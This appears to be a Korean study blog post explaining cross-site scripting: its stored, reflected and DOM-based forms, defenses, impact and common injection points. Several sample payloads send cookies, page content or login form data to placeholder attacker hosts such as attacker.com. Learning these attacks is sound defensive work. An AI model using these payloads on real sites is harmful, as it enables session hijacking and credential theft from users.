XSS

강혜인·2025년 5월 29일

WEB_Hack

목록 보기
1/18

XSS란?

XSS(Cross-Site Scripting)

공격자가 사용자의 브라우저에서 악성 스크립트를 실행하도록 하는 웹 보안 취약점

→ 공격자는 사용자의 세션을 탈취하거나, 웹 페이지의 내용을 조작하고, 혹은 다른 악의적인 행동을 행할 수 있음

XSS는 주로 세 가지 유형으로 나뉨

  1. Stored XSS (저장형 XSS)
  2. Reflected XSS (반사형 XSS)
  3. DOM-based XSS (DOM 기반 XSS)

Stored XSS (저장형 XSS)

  • 동작 원리
    • 웹 애플리케이션에 악성 스크립트가 영구적으로 저장되는 경우 발생함 예를 들어, 공격자가 웹 애플리케이션의 데이터베이스에 악성 스크립트를 삽입하고, 다른 사용자가 이 데이터를 불러올 때 스크립트가 실행됨 주로 게시판, 댓글, 프로필 정보 등의 사용자 입력이 저장되는 곳에서 발생
  • 자주 사용하는 스크립트
    <script>alert('XSS 공격 발생');</script>
    -> 단순 경고창 띄우기
    -> 실제로는 쿠키를 탈취하거나 악성 사이트로 리디렉션하는 등의 복잡한 스트립트가 사용될 수 있음
    <script>document.location='http://attacker.com/steal_cookie?c='+document.cookie;</script>
    -> 사용자의 쿠키 정보를 공격자가 지정한 서버로 전송하는 스크립트
    
    <script>prompt(45)</script>
    <script>confirm(45)</script>
    -> alert가 필터링이 되는 경우 대체
    <script>
    	var img = new Image();
    	img.src = "http://attacker.com/stealcookie.php?cookie=" + document.cookie;
    </script>
    -> 사용자 쿠키를 탈취해 세션 하이재킹 시도
    
    <script>
    	document.body.innerHTML= '<h1>You have been hacked</h1>';
    </script>
    -> DOM을 조작해 사용자가 보는 내용을 변경 가능
    
    <button onclick="document.location='http://malicious-site.com';">Click me</button>
    -> 버튼 클릭과 같은 이벤트에 악성 코드 삽입 가능
    
    <iframe src='http://malicious-site.com"></iframe>
    -> 악성 IFrame을 삽입해 사용자가 알지 못하는 사이 악성 사이트로 접속하게 
    
    <script>
    	var xhr = new XMLHttpRequest();
    	xhr.open("GET", "http://attacker.com/stealdata?data=" + document.body.innerHTML, true);
    	xhr.send();
    </script>
    -> AJAX 요청을 통해 사용자 데이터를 공격자 서버로 전송할  있음
    
    <div style="background-img: url('javascript:alert(1)')">Attack</div>
    -> HTML 또는 CSS 태그 내에 스크립트를 숨겨서 공격할 수 있음
    
    <script>
    	document.getElementById('target').innerHTML = '<h2>You have been hacked!</h2>';
    </script>
    -> 다른 페이지 요소의 'innerHTML'을 조작해 사용자가 보는 콘텐츠를 변경함
    
    <img src="invalid-image.jpg" onerror="alert('XSS Attack!')">
    -> 이미지 태그의 'onerror' 이벤트를 이용해 스크립트를 실행함
    
    <body onload="alert('XSS Attack!')">
    -> 페이지가 로드될 때 악성 스크립트를 실행함
    
    <script>
    	var form = document.forms[0];
    	form.onsubmit = function() {
    		var data = new FormData(form);
    		var xhr = new XMLHttpRequest();
    		xhr.open("POST", "http://attacker.com/stealdata", ture);
    		xhr.send(data);
    	};
    </script>
    -> 로그인 폼 등의 데이터를 공격자 서버로 전송하는 스크립트
  • ]스크립트 타입
    • HTML 이벤트 속성 : HTML 태그에 추가된 이벤트 속성을 통해 자바 스크립트 실행 가능
      <img src="xss.jpg" onerror="alert('XSS');">
      • 다른 이벤트 핸들러 : onload, onmouseover, onclick, onfocus, onblur, onkeydown, onkeyup, oninput
  • 웹으로 데이터를 보내는 방법 공격자는 악성 스크립트를 웹 애플리케이션의 데이터베이스에 삽입하고, 피해자가 웹 페이지를 방문할 때 스크립트가 실행되어 공격자에게 필요한 데이터를 보내게 됨

Reflected XSS (반사형 XSS)

  • 동작 원리 사용자가 웹 페이지에 입력한 데이터(→ 주로 URL에 포함된 파라미터)가 그대로 반사되어 페이지에 출력되는 경우 발생하는 취약점 공격자는 사용자가 클릭하도록 조작된 URL을 생성해 피해자가 이를 클릭하게 유도함 이때 URL에 포함된 악성 스크립트가 서버로 전송된 후, 서버는 이를 그대로 반사해 페이지에 표시하고, 브라우저는 이를 실행함
  • 자주 사용하는 스크립트
    http://exam.com/search?q=<script>alert('XSS');</script>
    이 URL을 사용자가 클릭하면, ‘q’ 파라미터에 포함된 스크립트가 서버에 그대로 반사되어 브라우저에서 실행됨
    <form action="http://exam.com/search">
    	<input type="text" name="query" value="<script>alert('XSS')</script>">
    	<input type="submit" value="Search">
    </form>
    -> 폼 입력 필드에 악성 스크립트를 삽입해 제출
    
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://exam.com/page', true);
    xhr.setRequestHeader('Referer', '<script>alert("XSS")</script>);
    xhr.send();
    </script>
    -> Referrer헤더를 통해 전달되는 데이터를 반영하는 경우 공격이 가능하다.
    
    http://example.com/redirect?url=javascript:alert('XSS')
    -> 사용자가 URL에 악성 스크립트를 삽입하고 리다이렉트되도록 유도하는 오픈 리다이렉트 공격
    
    http://example.com/welcom?message=<script>alert('XSS')</script>
    -> 이메일에 포함된 링크를 클릭할 때 URL에 악성 스크립트를 포함시킨다.
    
    http://example.com/page
    -> HTTP 헤더에 악성 스크립트를 삽입해 반영되도록 유도한다.
    
    http://example.com/search?term=<script>alert('XSS')</script>
    -> 검색 기능이 있는 페이지에서 사용자 입력을 제대로 필터링하지 않을 때 발생한다.
    
    http://example.com/error?msg=<script>alert('XSS')</script>
    -> 오류 메시지에 사용자의 입력값이 그대로 반영될 때 발생 가능하다.
    
    http://example.com/image?src=<img src=x onerror=alert('XSS')>
    -> 이미지 태그의 'src' 파라미터를 사용해 악성 스크립트를 실행한다.
    
    http://example.com/profile?name=<script>alert('XSS')</script>
    -> 동적으로 생성되는 콘텐츠에 사용자가 입력한 값이 반영될 때 발생한다.
  • 스크립트 타입 → Stored XSS와 유사한 스크립트 타입을 사용하지만, URL에 포함되어 있다는 차이가 있음
    • HTML 이벤트 속성
    • javascript: 스키마: URL을 통해 자바 스크립트를 실행할 수 있는 특수 스키마
      <a href="javascript:alert('XSS');">Click me</a>
  • 웹으로 데이터를 보내는 방법 URL에 직접 포함된 악성 스크립트가 실행되어 데이터를 공격자에게 전송함 예를 들면, URL 파라미터를 통해 쿠키를 공격자 서버로 보내는 코드를 포함할 수 있음
    http://victim.com/?q=<script>fetch('http://attacker.com/steal_cookie?c='+document.cookie)</script>

DOM-based XSS (DOM 기반 XSS)

  • 동작 원리 서버와는 무관하게 클라이언트 측 자바스크립트 코드에서 발생하는 취약점 자바 스크립트가 DOM(Document Object Model)을 조작하면서 사용자의 입력값을 그대로 사용하거나, URL 해시 값 등을 사용해 DOM을 변경하는 경우에 발생할 수 있음 공격자는 브라우저가 DOM을 조작하는 방식을 악용해 XSS 공격을 수행함
  • 자주 사용하는 스크립트
    var user_input = location.hash.substring(1);
    document.getElementById("output").innerHTML = user_input;
    -> 'location.hash'URL해시(#) 뒤에 있는 값을 가져옴
    -> 공격자가 URL을 조작하면, 'output'요소에 스크립트가 삽입되어 실행됨
    
    <script>
        var query = document.location.search;
        document.write(query); // 악성 스크립트 실행
    </script>
    -> URL의 쿼리 파라미터에서 값을 읽어와 DOM에 삽입하기
    
    <script>
        var user_input = '<script>alert("XSS")</script>';
        document.write(user_input); // 악성 스크립트 실행
    </script>
    -> 'document.write()' 메소드를 사용해 페이지에 동적으로 콘텐츠를 추가할 때 발생한다.
    
    <div id="content"></div>
    <script>
        var user_input = '<script>alert("XSS")</script>';
        document.getElementById('content').innerHTML = user_input; // 악성 스크립트 실행
    </script>
    -> 사용자의 입력값을 HTML 요소의 'innerHTML'속성에 직접 삽입할 때 발생한다.
    
    <script>
        var user_input = 'alert("XSS")';
        eval(user_input); // 악성 스크립트 실행
    </script>
    -> 'eval()' 함수를 사용해 사용자의 입력값을 코드로 실행할 때 발생한다.
    
    <script>
        var user_input = 'alert("XSS")';
        setTimeout(user_input, 1000); // 악성 스크립트 실행
    </script>
    -> 'setTimeout()' 함수를 사용해 동적으로 생성된 코드를 실행할 때 발생한다.
    
    <script>
        var hash = location.hash.substring(1);
        document.write(hash); // 악성 스크립트 실행
    </script>
    -> URL해시(fragment) 부분을 사용해 DOM에 스크립트를 삽입할 때 발생한다.('location.hash')
  • 스크립트 타입 클라이언트 측 자바스크립트 코드에서 발생하기 때문에, 자바 스크립트 내에서 사용되는 변수, 속성 또는 메서드가 직접적으로 영향을 받음
    • ‘innerHTML’ : HTML 콘텐츠를 삽입할 때 사용
    • ‘document.write()’ : 페이지에 HTML을 추가할 때 사용
    • ‘eval()’ : 자바 스크립트 코드를 문자열로 실행할 때 사용
    • ‘location.href’, ‘location.hash’ : URL을 변경하거나 읽어올 때 사용
  • 웹으로 데이터를 보내는 방법 자바스크립트가 직접 클라이언트 측 에서 실행되기 때문에, 데이터를 공격자 서버로 보내기 위해 ‘fetch’나 ‘XMLHttpRequest’와 같은 네트워크 요청을 사용해야함
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://attack.com/steal_cookie?c=" + document.cookie, true);
    xhr.sent();
    -> 사용자의 쿠키를 공격자 서버로 전송하는 코드

추가적인 XSS 공격 기법

  • Self-XSS 사용자가 자신의 브라우저에서 자신에게 XSS 공격을 가하는 경우 보통 공격자가 피해자를 속여 브라우저 콘솔에 스크립트를 직접 입력하게 만들어 피해자의 계정 정보를 탈취함
  • Blind XSS 피해자가 어떤 페이지에서 발생하는지 모르는 상태에서 XSS가 실행됨 공격자는 스크립트가 실행될 때, 특정 서버로 정보를 보내도록 설정해 피해자의 정보를 수집함 보통 관리자 페이지 등에서 발생 가능

XSS 방어 주요 기법

  • 입력 값 검증 및 필터링 사용자로부터 입력된 데이터는 절대 신뢰하지 않고, 반드시 검증하고 필터링 해야함 HTML, 자바 스크립트 코드, 특수 문자를 escape 처리하여 스크립트가 실행되지 않도록 해야함
  • 출력 시 인코딩 데이터베이스에서 가져온 데이터를 웹 페이지에 출력할 때는 HTML 인코딩을 적용해 스크립트가 실행되지 않도록 하는 것 자바스크립트나 CSS, URL 인코딩도 사용해 공격을 방지
  • 보안 HTTP 헤더 사용 ‘Content Security Policy(CSP)’를 설정해 외부 스크립트의 실행을 제한하고, ‘X-XSS-Protection’ 헤더를 활성화해 기본적인 XSS 방어 기능을 제공함
  • 자바 스크립트 코드에서 안전한 방법 사용 ‘innerHTML’, ‘eval()’, ‘document.write()’ 등의 사용을 피하고, 안전한 대체 방법을 사용하는 것이 좋음 DOM을 조작할 때는 사용자 입력 값을 그대로 사용하지 않도록 주의해야 함

XSS 파급력

  • XSS가 터지면 원하는 자바스크립트 코드를 실행 가능함

    • 상대방의 컴퓨터를 내 것으로 만드는 RCE까지 갈 수 있음
  • XSS로 자바스크립트 실행 → 자바스크립트 코드 실행으로 인한 웹 브라우저 엔진 해킹 → 상대 방의 컴퓨터와 연결 → 상대방의 컴퓨터 조작 가능 → 일반 유저 권한을 루트 권한으로 권한 상승 → 백도어심기/중요 정보 탈취 → 침입 흔적 삭제, 백도어를 통해 진입


  • 사용자 정보 탈취
    • 세션 하이재킹 : 공격자는 사용자의 쿠키를 탈취해 세션을 가로채고, 사용자로 가장해 애플리케이션에 접근할 수 있다.
    • 로그인 크리덴셜 탈취 : 로그인 폼이나 기타 중요한 데이터를 입력하는 페이지에 악성 스크립트를 삽입해 사용자 이름과 비밀번호 탈취가 가능하다.
    • 개인 정보 유출 : 공격자가 사용자 계정의 개인 정보(이메일, 주소, 전화번호 등)를 탈취할 수 있다.
  • 사용자 환경 조작
    • 피싱 공격 : XSS를 통해 사용자에게 가짜 로그인 페이지를 보여주고, 그 페이지에 입력된 데이터를 공격자가 수집하는 형태의 피싱 공격이 가능하다.
    • UI 리디렉션 : 사용자를 공격자가 제어하는 악성 웹사이트로 리디렉션할 수 있다.
    • 사기성 콘텐츠 삽입 : 공격자가 페이지에 스크립트를 삽입해 사기성 메시지나 광고를 사용자에게 표시할 수 있다.
  • 서비스 악용 및 중단
    • 서비스 거부 공격(DDoS) : 대량의 악성 스크립트를 삽입해 서버에 과부하를 유발하거나, 사용자가 서비스를 정상적으로 이용하지 못하게 할 수 있다.
    • 데이터 조작 : 공격자가 웹 애플리케이션의 데이터를 조작해 사용자에게 잘못된 정보를 제공하거나 애플리케이션의 동작을 변경할 수 있다.
    • 스팸 공격 : XSS를 통해 자동으로 스팸 메시지를 생성하거나 발송하도록 스크립트를 삽입할 수 있다.
  • 브라우저 및 클라이언트 공격
    • 브라우저 취약점 악용 : 특정 브라우저나 플러그인의 취약점을 악용해 사용자 시스템을 장악할 수 있다.
    • 클라이언트 측 악성코드 배포 : 악성 스크립트를 통해 사용자에게 악성코드나 바이러스를 배포할 수 있음
  • 브랜드 신뢰도 손상
    • 브랜드 이미지 손상 : XSS 공격이 성공적으로 이루어지면, 해당 웹 사이트나 애플리케이션의 신뢰도가 떨어지며, 이는 사용자 이탈이나 비즈니스 손실로 이어질 수 있다.
    • 법적 및 규제적 영향 : 개인정보 보호법 위반에 따른 법적 제재와 규제 당국의 벌금이 부과될 수 있음
  • 관리자 권한 탈취
    • 관리자 계정 장악 : XSS가 관리자 권한을 가진 사용자를 타겟팅하면, 공격자는 관리자 계정을 탈취해 전체 시스템을 장악할 수 있다.
    • 백도어 설치 : 공격자는 관리자 권한을 이용해 서버에 백도어를 설치하고, 지속적으로 시스템에 접근할 수 있는 방법을 마련할 수 있다.
  • 멀티사이트 간 공격
    • 연쇄적인 공격 : XSS 공격이 성공할 경우, 피해는 단일 사이트에 국한되지 않고 해당 사이트와 연동된 다른 시스템이나 사이트로 확산될 수 있다.
    • API 및 연동 서비스 악용 : XSS를 통해 공격자는 API를 악용하거나, 다른 연동된 서비스로 접근해 추가적인 피해를 유발할 수 있다.

XSS 공격 포인트

  • URL 파라미터
    • URL의 쿼리 스트링 파라미터에 사용자가 입력한 값이 그대로 웹 페이지에 반영 될 때 발생한다. 검색기낭, 필터링, 정렬 등에서 자주 발생한다.
  • 폼 입력 필드
    • 사용자로부터 입력을 받는 폼이 제대로 검증되지 않고 반영될 때 발생한다.
  • HTTP 헤더
    • ‘User-Agent’, ‘Referer’, ‘Cookie’ 등의 HTTP 헤더에 포함된 데이터가 웹 페이지에 반영 될 때 발생한다.
  • 쿠키
    • 사용자의 브라우저에 저장된 쿠키 값을 읽어와 페이지에 반영할 때 발생한다. 크키 값이 페이지의 DOM에 직접 삽입되면 그것이 공격 포인트가 된다.
  • DOM 조작
    • 클라이언트 측 스크립트(JavaScript)에서 DOM을 조작할 때 사용자 입력값을 안전하게 처리하지 않으면 발생한다.
  • 리다이렉트 URL
    • 웹 애플리케이션이 사용자를 다른 페이지로 리다이렉트할 때, 리다이렉트 URL을 외부 입력으로 받아서 그대로 사용하면 발생할 수 있다.
  • AJAX 요청 및 JSON 응답
    • AJAX 요청을 통해 서버로 전달된 데이터가 JSON으로 응답되고, 이 데이터를 클라이언트에서 안전하게 처리하지 않을 때 발생할 수 있다.
  • 파일 업로드
    • 파일 업로드 기능에서 사용자로부터 받은 파일 이름이나 파일 내용이 웹 페이지에 반영될 때 발생한다. 특히 HTML, SVG, JavaScript 파일을 업로드할 때 취약하다.
  • HTML 템플릿
    • 서버 사이드 템플릿 엔진에서 사용자 입력을 반영하는 경우, 해당 입력을 적절히 이스케이프 하지 않으면 발생한다.
  • 오류 메시지
    • 사용자 입력을 포함한 오류 메시지가 제대로 인코딩 되지 않고 웹 페이지에 표시 될 때 발생할 수 있다.
  • 검색 결과
    • 사용자가 입력한 검색어가 검색 결과 페이지에 반영될 때 발생한다. 검색어가 그대로 HTML에 반영되면 공격 포인트가 된다.
  • 채팅 혹은 코멘트 시스템
    • 사용자가 입력한 텍스트가 다른 사용자에게 표시될 때 발생할 수 있다. 메시지나 코멘트를 제대로 인코딩하지 않으면, XSS 공격에 취약해진다.
  • 프로필 정보
    • 사용자가 자신의 프로필 정보를 입력하고, 이 정보가 다른 사용자에게 표시 될 때 발생한다. 프로필 정보는 텍스트 외에도 이미지, 링크 등을 포함할 수 있다.
  • 동적 콘텐츠 생성
    • 웹 애플리케이션이 동적으로 콘텐츠를 생성하고, 이 과정에서 사용자 입력이 제대로 처리되지 않을 때 발생한다.
  • 웹 소켓
    • WebSocket 통신에서 서버로부터 수신된 메시지가 클라이언트에서 그대로 렌더링될 때 발생할 수 있다.
  • iframed 콘텐츠
    • ‘iframe’으로 외부 콘텐츠를 포함하는 경우, 이 콘텐츠가 XSS를 포함할 수 있다. 특히 동일 출처 정책(Same-Origin Policy/SOP)이 제대로 적용되지 않을 때 문제가 된다.
  • 브라우저 히스토리 및 탭네임 조작
    • 공격자가 사용자의 브라우저 히스토리나 탭 이름을 조작해 악성 스크립트를 삽입할 수 있다.
  • 멀티미디어 콘텐츠
    • 이미지, 비디오, 오디오 등 멀티미디어 콘텐츠의 속성값에 악성 스크립트를 삽입해 실행할 수 있다.
  • 보안 설정이 잘못된 웹 애플리케이션 기능
    • 보안 설정이 잘못되어있는 API나 관리자 기능에 의해 악성 스크립트가 삽입될 수 있다.

0개의 댓글